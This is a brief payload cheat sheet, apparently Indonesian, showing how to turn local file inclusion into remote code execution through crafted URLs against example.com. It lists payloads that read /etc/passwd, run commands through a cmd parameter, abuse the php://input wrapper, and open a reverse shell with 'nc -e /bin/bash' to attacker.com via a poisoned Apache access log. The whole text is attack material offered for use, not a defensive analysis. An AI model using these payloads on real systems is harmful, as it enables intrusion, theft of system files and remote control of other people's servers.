Local File Inclusion >> Remote Code Execution
uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu
uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu
.
[ Command Injection ]
http://example.com/index.php?page=/etc/passwd&cmd=id
[ Reverse Shell ]
http://example.com/index.php?page=/var/log/apache/access.log&cmd=nc%20-e%20/bin/bash%20attacker.com%204444
[ PHP Wrappers ]
http://example.com/index.php?page=php://input&cmd=cat%20/etc/passwd
.
uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu
perlu di catat, bahwa %20 di url merupakan spasi